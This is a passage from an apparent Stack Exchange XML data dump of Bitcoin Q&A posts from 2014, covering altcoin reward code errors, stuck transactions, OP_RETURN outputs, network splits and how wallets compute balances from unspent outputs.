the fact that a node only connects to about 8 peers is pointless, because you wouldn't need to connect directly to the organization to get logged; they could find you by asking others for new peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For 2:&#xA;If you send them to a paper wallet and never connect to the btc network through a client running on your computer, then no, your IP can't be discovered. But, the only way to retrieve them from the paper wallet is to import it into an digital wallet of some kind, which, when you connect that digital wallet to the network to spend them, will identify you.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastEditorUserId="12616" LastEditDate="2014-03-04T03:37:54.047" LastActivityDate="2014-03-04T03:37:54.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23007" PostTypeId="2" ParentId="22992" CreationDate="2014-03-04T03:32:20.433" Score="1" Body="&lt;p&gt;If the wallet unlock is global (that is, it affects a wallet that exists outside the method, which it clearly does), then yes, that is a race condition. Generally, this is handled with mutexes. A mutex provides &quot;mutual exclusion&quot;, that is, only one thread of execution can enter an area protected with the mutex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a software design point of view, forcing everything that calls the send_to_address method to do so in a mutex is &lt;em&gt;very&lt;/em&gt; bad design. It seems you should make a wallet class that encapsulates all the functionality you need to perform on wallets that manages the locking/unlocking of the wallet inside the class.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-03-04T03:32:20.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23009" PostTypeId="1" CreationDate="2014-03-04T06:16:43.693" Score="0" ViewCount="882" Body="&lt;p&gt;ERROR: ConnectBlock() : coinbase pays too much (actual=20000000 vs limit=20000000)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got this error at my debug.log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone know how to fix this issue? I am coding a new coin, changing its rewards, which parametter I need change to increase the limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (vtx[0].GetValueOut() &amp;gt; GetBlockValue(pindex-&amp;gt;nHeight, nFees, pindex-&amp;gt;nBits))&#xA;        return state.DoS(100, error(&quot;ConnectBlock() : coinbase pays too much (actual=%&quot;PRI64d&quot; vs limit=%&quot;PRI64d&quot;)&quot;, vtx[0].GetV$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I changed my nsubsidy for the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int getrandint(int min, int max)&#xA;{&#xA;    int num;&#xA;    num=rand();&#xA;    num=num%(max-min+1)+min;&#xA;    return num;&#xA;}&#xA;&#xA;&#xA;&#xA;int64 static GetBlockValue(int nHeight, int64 nFees, unsigned int nBits)&#xA;{&#xA;    if (nHeight == 0)&#xA;    {&#xA;        return nGenesisBlockRewardCoin;&#xA;    }&#xA;&#xA;   unsigned int i, iMax, iMin;&#xA;&#xA;&#xA;   iMin = 1;&#xA;   iMax = 50;&#xA;&#xA;if(nHeight&amp;lt;500)&#xA;{&#xA;iMax = 3;&#xA;}&#xA;if(nHeight &amp;gt; 8000)&#xA;{&#xA;iMax = 30;&#xA;}&#xA;if(nHeight &amp;gt; 20000)&#xA;{&#xA;iMax = 20;&#xA;}&#xA;if(nHeight &amp;gt; 100000)&#xA;{&#xA;iMax = 10;&#xA;}&#xA;&#xA;&#xA;  i = getrandint(iMin, iMax);&#xA;    int64 nSubsidy = nBlockRewardStartCoin * i ;&#xA;&#xA;&#xA;&#xA;    // Subsidy is cut in half every 60480 blocks (21 days)&#xA;    //nSubsidy &amp;gt;&amp;gt;= (nHeight / 60480);&#xA;&#xA;    // Minimum subsidy&#xA;    if (nSubsidy &amp;lt; nBlockRewardMinimumCoin)&#xA;    {&#xA;        nSubsidy = nBlockRewardMinimumCoin;&#xA;    }&#xA;&#xA;    return nSubsidy + nFees;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code originally was &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int64 static GetBlockValue(int nHeight, int64 nFees, unsigned int nBits)&#xA;{&#xA;    if (nHeight == 0)&#xA;    {&#xA;        return nGenesisBlockRewardCoin;&#xA;    }&#xA;&#xA;    int64 nSubsidy = nBlockRewardStartCoin;&#xA;&#xA;    // Subsidy is cut in half every 60480 blocks (21 days)&#xA;    nSubsidy &amp;gt;&amp;gt;= (nHeight / 60480);&#xA;&#xA;    // Minimum subsidy&#xA;    if (nSubsidy &amp;lt; nBlockRewardMinimumCoin)&#xA;    {&#xA;        nSubsidy = nBlockRewardMinimumCoin;&#xA;    }&#xA;&#xA;    return nSubsidy + nFees;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because of what I change, my code give the error coinbase pays too much&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@eatSushi1:~/dogequark/src$ ./dogequarkd&#xA;dogequark server starting&#xA;root@eatSushi1:~/dogequark/src$ terminate called after throwing an instance of 'std::runtime_error'&#xA;  what():  CreateNewBlock() : ConnectBlock failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also got this error when I run the coind at another server after cloning through github.&lt;/p&gt;&#xA;" OwnerUserId="14101" LastEditorUserId="14101" LastEditDate="2014-03-04T06:54:02.820" LastActivityDate="2014-03-04T10:37:12.887" Title="How to fix CoinBase pay too much error" Tags="|api|json-rpc|altcoin|quarkcoin|" AnswerCount="1" CommentCount="3" ClosedDate="2014-03-21T12:02:51.190" ContentLicense="CC BY-SA 3.0" />
  <row Id="23010" PostTypeId="1" CreationDate="2014-03-04T06:43:11.657" Score="-1" ViewCount="123" Body="&lt;p&gt;I have fifteen Cryptocurrency Wallets constantly running on one of my computers, Everything worked well, recently I added few more coins and all wallets have got synchronization issues (not syncing). I shut down several of them and things got working again. I tested that it is wallet independent problem, closing any of them solves problem, but I have to run all wallets constantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using windows 7, 64 bit, RAM 8 gb, only 50% of Ram and 10% of CPU is used in average. My Internet speed: 4 Mb Download, 0.25 Upload. My traffic (checked by freemeter) ~ 0.2 Mb Download 0.05 Mb Upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone suggest what might be a problem?&lt;/p&gt;&#xA;" OwnerUserId="14120" LastActivityDate="2014-03-04T19:42:37.027" Title="Increase of Cryptocurrency wallet number makes all of them not work" Tags="|wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23011" PostTypeId="1" CreationDate="2014-03-04T06:59:55.123" Score="2" ViewCount="234" Body="&lt;p&gt;Dan Kaminsky said that he spent 4 months &lt;a href=&quot;http://www.businessinsider.com/dan-kaminsky-highlights-flaws-bitcoin-2013-4?IR=T&amp;amp;&quot; rel=&quot;nofollow noreferrer&quot;&gt;trying to hack &quot;bitcoin&quot;&lt;/a&gt; but failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides trying to find vulnerabilities in &lt;a href=&quot;https://bitcoin.stackexchange.com/q/421/1475&quot;&gt;double-spending&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1061/1475&quot;&gt;51% attack&lt;/a&gt;, what other hacks would a hacker try to achieve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely an established hacker like Dan Kaminsky wouldn't have spent 4 months just trying to prove the protocol is immune to double-spending and robust against 51% attacks. There had got to be more things that he was trying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exactly what kind of hacks will a hacker try to achieve against bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2019-10-08T09:19:28.520" Title="In what ways could &quot;bitcoin&quot; be hacked?" Tags="|protocol|hacking|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23012" PostTypeId="1" CreationDate="2014-03-04T07:13:53.500" Score="6" ViewCount="37660" Body="&lt;p&gt;I sent BTC from my blockchain.info wallet to my other wallet 6 hours ago. It is still at 0 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further Detail:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the network  propagation is very low at 0-1%&lt;/li&gt;&#xA;&lt;li&gt;I used the recommended fees setting(the middle setting)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I sent a couple cents from the same wallet to the same receiving wallet and it went through to 3 confirms after about an hour or so.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;my wallet is : &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;and the hash is:  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, now I'm stuck and can't find any info online that I understand to help me with this.  Any help will be very greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="14121" LastEditorUserId="14121" LastEditDate="2014-03-06T22:13:51.567" LastActivityDate="2018-01-08T13:01:15.823" Title="BTC stuck with zero confirmations" Tags="|transactions|wallet|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23014" PostTypeId="2" ParentId="23012" CreationDate="2014-03-04T07:58:56.173" Score="5" Body="&lt;p&gt;When you look at &lt;a href=&quot;https://blockchain.info/en/tx/5bf37f4f40b4f47c9f5f66e4de2f788ccb366c038c8a1184f68f1984d4bc8e9f&quot; rel=&quot;nofollow&quot;&gt;blockchain&lt;/a&gt; you will see that your transaction contains 0.0001 BTC which is not zero fee, so it is very likely that your transaction will be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have various options if the transaction doesn't get confirmation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reset your blockchain and wait until it's up to date again (keep your device on power and connected to internet). After the rescan, stuck transactions should be gone and your BTC free to spend again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relay stuck transactions to a miner that accepts non-standard fees. You can use the &lt;code&gt;trusted peer&lt;/code&gt; option for this, just remember to clear that option after your problem is resolved. Also see &lt;a href=&quot;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Free_transaction_relay_policy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From: &lt;a href=&quot;https://code.google.com/p/bitcoin-wallet/wiki/UnstickLowFeeTransactions&quot; rel=&quot;nofollow&quot;&gt;UnstickLowFeeTransactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: There is certain time after blockchain.info clears the transaction if it isn't taken by any miner +- 72 hours. I would recommend you wait this time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download electrum or any bitcoin client&lt;/li&gt;&#xA;&lt;li&gt;Dump your private keys from blockchain.inf and import them. Use &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;Pywallet&lt;/a&gt; to delete that transaction from your wallet.&lt;/li&gt;&#xA;&lt;li&gt;Create whole new bitcoin wallet at blockchain.info and sent entire transacion again. (Wallet mustn't be created under same account).&lt;/li&gt;&#xA;&lt;li&gt;send your transaction again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Conditions for confirmation of zero transactions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Transaction is smaller than 10 thousand bytes.&lt;/li&gt;&#xA;&lt;li&gt;All outputs are 0.01 BTC or larger.&lt;/li&gt;&#xA;&lt;li&gt;Its priority is large enough (see the Technical Info section below) &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source of my post: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=274185.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=274185.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinarmory.com/download/troubleshooting/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinarmory.com/download/troubleshooting/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6540" LastEditorUserId="6540" LastEditDate="2014-03-04T11:24:54.103" LastActivityDate="2014-03-04T11:24:54.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23017" PostTypeId="1" CreationDate="2014-03-04T09:47:06.280" Score="1" ViewCount="76" Body="&lt;p&gt;I want to make sure that the transactions I create with the original client are always using confirmed inputs and self created outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin used one of the transactions that I describe here in this question: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/22663/stuck-duplicate-transaction-in-bitcoinqt&quot;&gt;Stuck duplicate transaction in BitcoinQT&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as an input. So the new transaction is not being confirmed either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make sure that my transactions are always using confirmed transactions. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-03-04T09:47:06.280" Title="How can I tell Bitcoin to only spend confirmed inputs and self created outputs" Tags="|transactions|client|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23018" PostTypeId="2" ParentId="23012" CreationDate="2014-03-04T10:00:02.560" Score="0" Body="&lt;p&gt;just sit and wait ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/en/tx/5bf37f4f40b4f47c9f5f66e4de2f788ccb366c038c8a1184f68f1984d4bc8e9f&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/en/tx/5bf37f4f40b4f47c9f5f66e4de2f788ccb366c038c8a1184f68f1984d4bc8e9f&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Estimated Confirmation Time  Very Soon (High Priority)&lt;/p&gt;&#xA;" OwnerUserId="14126" LastActivityDate="2014-03-04T10:00:02.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23019" PostTypeId="1" CreationDate="2014-03-04T10:11:18.947" Score="1" ViewCount="130" Body="&lt;p&gt;I'm trying to construct the message verification signature of bitcoin qt in python. I'm able to compute the couple (r,s) of the signature, but, even I'm not able to find the correct way to encode it to find the correct base64 encoded string that bitcoin-qt use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my example :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My test bitcoin addresse : &quot;1BBwZVdBjoPxotHfrKLpHJBSy7vmc2pjex&quot;&#xA;Private Key : 18 (the integer 18 in base 10)&#xA;Message : &quot;Hello World&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I sign, I use an integer k (specified in the ECDSA) which is 1 (just an example).&#xA;I get (r,s)=(55066263022277343669578718895168534326250603453777594175500187360389116729240, 23952895512439370531107719399796920806315532907434078350311186283065887977941)&#xA;in base 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I construct the signature string generated by bitcoin-qt from these r and s ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your help.&lt;/p&gt;&#xA;" OwnerUserId="12028" LastActivityDate="2014-03-04T10:11:18.947" Title="Bitcoin Qt message signature construction" Tags="|bitcoin-core|signature|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23022" PostTypeId="2" ParentId="23009" CreationDate="2014-03-04T10:37:12.887" Score="4" Body="&lt;p&gt;You should not be tampering with any code that has anything to do with determining block validity if you don't thoroughly understand the security model that proof of work coins use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;i = getrandint(iMin, iMax);&#xA;int64 nSubsidy = nBlockRewardStartCoin * i ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can't use any randomness in any code that involves block validation! The entire security model of the blockchain absolutely requires that servers &lt;em&gt;agree&lt;/em&gt; on whether blocks are valid or not. Whatever it is you are trying to do, this is &lt;strong&gt;not&lt;/strong&gt; how you do it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-04T10:37:12.887" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23023" PostTypeId="2" ParentId="21136" CreationDate="2014-03-04T10:48:57.100" Score="1" Body="&lt;p&gt;This table isnt part of the MPOS schema you have to create it yourself, my schema for this table is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql&amp;gt; show columns from shares;&#xA;+-----------------+--------------+------+-----+---------+----------------+&#xA;| Field           | Type         | Null | Key | Default | Extra          |&#xA;+-----------------+--------------+------+-----+---------+----------------+&#xA;| shareID         | int(11)      | NO   | PRI | NULL    | auto_increment |&#xA;| rem_host        | varchar(100) | YES  |     | NULL    |                |&#xA;| username        | varchar(100) | YES  |     | NULL    |                |&#xA;| our_result      | varchar(255) | YES  |     | NULL    |                |&#xA;| upstream_result | varchar(255) | YES  |     | NULL    |                |&#xA;| reason          | varchar(255) | YES  |     | NULL    |                |&#xA;| solution        | varchar(255) | YES  |     | NULL    |                |&#xA;+-----------------+--------------+------+-----+---------+----------------+&#xA;7 rows in set (0.00 sec)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I keep this in a seperate db to MPOS but there is no reason you cant add it manually to the MPOS table.  I will also add that while this works I'm not certain if varchar is the correct datatype to use here.&lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-04T10:48:57.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23024" PostTypeId="1" AcceptedAnswerId="23026" CreationDate="2014-03-04T10:50:23.777" Score="6" ViewCount="1318" Body="&lt;p&gt;Looking at Dev Update #5 and in particular the OP_RETURN data function due to be included in 0.9 release, how is data returned during the transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I meant to create a new txout with no value and a scriptPubKey with just &quot;OP_RETURN mydata&quot; or is it included as part of another txout with a value and being sent to an actual address? How is the data represented when reaching the other end?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have asked the wrong question it could be due to my limited understanding of how scripting is meant to be used. In which case links to resources explaining this better would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14094" LastActivityDate="2014-10-03T19:51:59.833" Title="OP_RETURN data transaction" Tags="|transactions|raw-transaction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23025" PostTypeId="1" AcceptedAnswerId="23030" CreationDate="2014-03-04T11:25:53.220" Score="5" ViewCount="278" Body="&lt;p&gt;Let's suppose, that at some time the Internet gets split in two, possibly because of wartime, or another possibilities (there was once a situation, when Egypt managed to split the internet in their country from the outside).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There begins to exist two versions of the blockchain, eg. USACoin and ChinaCoin&lt;/li&gt;&#xA;&lt;li&gt;There are some people with access to both internets (&quot;pirate joins&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Eventually, the internets join back&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How would Bitcoin software react to those splits, how would it react to the &quot;pirate joins&quot;, how would it handle the final internet join? What would be the &quot;Plan B&quot; of the Bitcoin community?&lt;/p&gt;&#xA;" OwnerUserId="13645" LastEditorUserId="5406" LastEditDate="2016-04-17T20:11:16.840" LastActivityDate="2016-04-17T20:11:16.840" Title="Hypothetical situation: the Internet gets split in two, what happens with Bitcoin?" Tags="|blockchain|network|blockchain-fork|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23026" PostTypeId="2" ParentId="23024" CreationDate="2014-03-04T11:27:06.907" Score="5" Body="&lt;p&gt;That is correct. You create an additional txout with value 0 and script &quot;OP_RETURN data&quot;.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-04T11:27:06.907" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23027" PostTypeId="2" ParentId="21530" CreationDate="2014-03-04T11:36:04.180" Score="2" Body="&lt;p&gt;You own a bitcoin address if (and only if) you (and only you) have the corresponding private key for that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this isn't true, it means that when you have some amount of Bitcoin on Virwox, this amount is technically owned by Virwox, and not by you. This means, that you can't control if these bitcoins are in place, or if you will own them tomorrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, Blockchain.info/wallet does not have an access to your private keys, only you have, so you can be sure, that the Bitcoin you own now will be also yours tomorrow. Likewise with Bitcoin software installed locally on your computer.&lt;/p&gt;&#xA;" OwnerUserId="13645" LastEditorUserId="14132" LastEditDate="2014-03-04T14:15:03.273" LastActivityDate="2014-03-04T14:15:03.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23028" PostTypeId="2" ParentId="10044" CreationDate="2014-03-04T12:21:31.873" Score="1" Body="&lt;p&gt;You may want to try this version of stratum:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ahmedbodi/stratum-mining&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ahmedbodi/stratum-mining&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ahmedbodi/stratum&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ahmedbodi/stratum&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which come with litecoin parts built in.  Also you may wish to consider a currently maintained pool as pushpool is not maintained according to the bitcoin wiki:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Software&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Software&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend either P2Pool if your a beginner, and if you have a bit more experience then try Eloipool. &lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-04T12:21:31.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23029" PostTypeId="2" ParentId="22663" CreationDate="2014-03-04T12:32:59.697" Score="0" Body="&lt;p&gt;Try issuing &lt;code&gt;getrawtransaction txid&lt;/code&gt; with txid of the offending transaction. Then, issue &lt;code&gt;sendrawtransaction string&lt;/code&gt; with the string outputted by the first command. You can possibly post this string there, or try using it in another wallet software, this can give you some information on this TX and maybe finally broadcast it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to get rid of this TX, you can backup your wallet, remove all files from your ~/.bitcoin directory or its equivalent (the directory containing the blockchain), redownload the blockchain (possibly using the bootstrap.dat) and import your backupped keys back.&lt;/p&gt;&#xA;" OwnerUserId="13645" LastActivityDate="2014-03-04T12:32:59.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23030" PostTypeId="2" ParentId="23025" CreationDate="2014-03-04T12:36:29.437" Score="3" Body="&lt;p&gt;Any of the &quot;pirates&quot; with nodes on both networks and who have unspent coins in the blockchain before the split would be able to spend those on both networks, for as long as the network is split. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon joining again, the longest chain will always prevail. So anyone who mined any new coins after the split and those were mined on the shorter of the two chains will lose all those new coins -- they will become invalid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone who spent coins that existed before the split, but spent them only on the shorter chain, will have those coins returned to him/her after the join, because they were only spent on the shorter chain (which is discarded and invalidated)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, the bitcoin network will take it in stride :) but some people will lose, and some will benefit doubly. &lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="11484" LastEditDate="2014-03-04T13:03:57.570" LastActivityDate="2014-03-04T13:03:57.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23032" PostTypeId="2" ParentId="241" CreationDate="2014-03-04T13:05:39.193" Score="2" Body="&lt;p&gt;StrongCoin has been operating since 2011 in the wallet space and now has an escrow service too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The service is based on BIP38 which means it is using an M of N style key exchange. The service does not hold the Bitcoins just one vote which it can use in the case of a dispute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.strongcoin.com/en/blog/strongcoin_bip38_escrow&quot; rel=&quot;nofollow noreferrer&quot;&gt;StrongCoin - BIP38 Escrow Service&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a97xY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2014-03-04T13:05:39.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23033" PostTypeId="2" ParentId="241" CreationDate="2014-03-04T13:12:36.497" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt; has been operating since 2012 and has a good track record.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Reputation system and user security info keeps unauthorized transactions in check &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Escrow is done on LocalBitcoins web wallet, so releasing escrow is instant, off-block chain (no need to wait for blockchain confirmation)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Two-factor authentication can be set up to protect your account&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-03-04T13:12:36.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23034" PostTypeId="2" ParentId="22997" CreationDate="2014-03-04T13:23:35.713" Score="30" Body="&lt;p&gt;There is no such thing as a transaction &quot;balance&quot;.  I am going to assume if I jump right to the answer it won't make much sense so the first two sections are to make sure we are how Bitcoin &quot;really works&quot; (at a very high level abstracted view).  We need to speak the same language for the answer to make any sense.  For this question the two required concepts in how Bitcoin really works that need to be understood are inputs &amp;amp; outputs, as well as where transactions are recorded.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Inputs &amp;amp; Outputs&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Bitcoin works on the concept of &lt;strong&gt;&lt;em&gt;discrete inputs and outputs&lt;/em&gt;&lt;/strong&gt; not spending part of a balance.  All transactions have as their input a reference to a previous unspent output.  The transaction records one or more new outputs (which are referenced in the inputs of some future transactions).  Outputs are &quot;spent&quot; when they are referenced in a new transaction.  Outputs can only be unspent or spent, they can't be partially spent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallet balance (or address balance) is an abstraction to help us humans and make Bitcoin more like conventional payment systems.  Balances are not used at the protocol level.  When the wallet indicates your confirmed balance is 1.2 BTC it is saying that the sum of the value of all unspent outputs in the blockchain which correspond to public keys it has the private key for total 1.2 BTC.  In other words the wallet is computing the total value of the outputs which it can spend which requires a) the output be unspent and b) the client has the private key necessary to spend it.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Storing Transactions&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;All confirmed transactions become part of the blockchain.  Clients validate transactions and blocks; only valid transactions and blocks are added to the blockchain.  For the purposes of validating transactions and computing available balances only part of the blockchain is needed and that portion is called the &lt;strong&gt;&lt;em&gt;UTXO (Unspent Transaction Output Set)&lt;/em&gt;&lt;/strong&gt;.  This is a subset of JUST the unspent outputs.  As all future transactions will reference unspent outputs as their inputs only the unspent outputs are needed for validating new transaction and computing the balance (which is another way of saying the total value of outputs which &quot;can&quot; be used in new transactions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UTXO is much smaller than the entire blockchain (about 15% of total blockchain right now and that will shrink over time).  It may not be immediately obvious but the number of Bitcoins in the UTXO is always equal to the number of mined Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transactions are not part of the blockchain (or UTXO).  Clients maintain an unordered list of all the unconfirmed transactions they are aware of.  This list is called the &lt;strong&gt;&lt;em&gt;memory pool&lt;/em&gt;&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Computing &quot;Balances&quot;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The creation of the UTXO makes computing balances straightforward.  The UTXO contains all unspent outputs however your client can only spend the subset of those outputs which correspond to public keys that it has the private key for (&quot;your keys&quot;).  This subset has no official name however the RPC call to output this list is &lt;strong&gt;&lt;em&gt;listunspent&lt;/em&gt;&lt;/strong&gt; so I will call it the listunspent set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet uses the listunspent set and memory pool to determine the current balance.  In reality wallets compute this in &quot;real time&quot; as changes to the memory pool or UTXO occur (i.e. when the client learns of new blocks or transactions it records them and then makes changes to its reported balance if any).  For the sake of brevity I will just show how to get a &quot;snapshot&quot; of the current balance.  There is a confirmed balance and an unconfirmed balance, clients often show a reduced-current balance to 